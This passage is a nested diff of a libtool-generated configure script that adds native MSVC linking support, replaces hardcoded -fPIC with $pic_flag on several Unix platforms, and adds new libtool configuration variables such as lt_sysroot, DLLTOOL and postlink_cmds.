- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9683,20 +10222,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9757,7 +10339,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9765,7 +10347,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9781,7 +10363,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -9805,10 +10387,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -9887,23 +10469,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9988,7 +10583,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -10007,9 +10602,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10585,8 +11180,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10619,13 +11215,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10717,7 +11371,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11513,7 +12167,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11516 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11557,10 +12211,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11619,7 +12273,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11622 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11663,10 +12317,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -14110,13 +14764,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -14131,14 +14792,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -14171,12 +14835,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -14231,8 +14895,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -14242,12 +14911,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -14263,7 +14934,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -14299,6 +14969,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -15055,7 +15726,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -15158,19 +15830,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -15200,6 +15895,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -15209,6 +15910,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -15323,12 +16027,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -15415,9 +16119,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -15433,6 +16134,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -15465,210 +16169,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
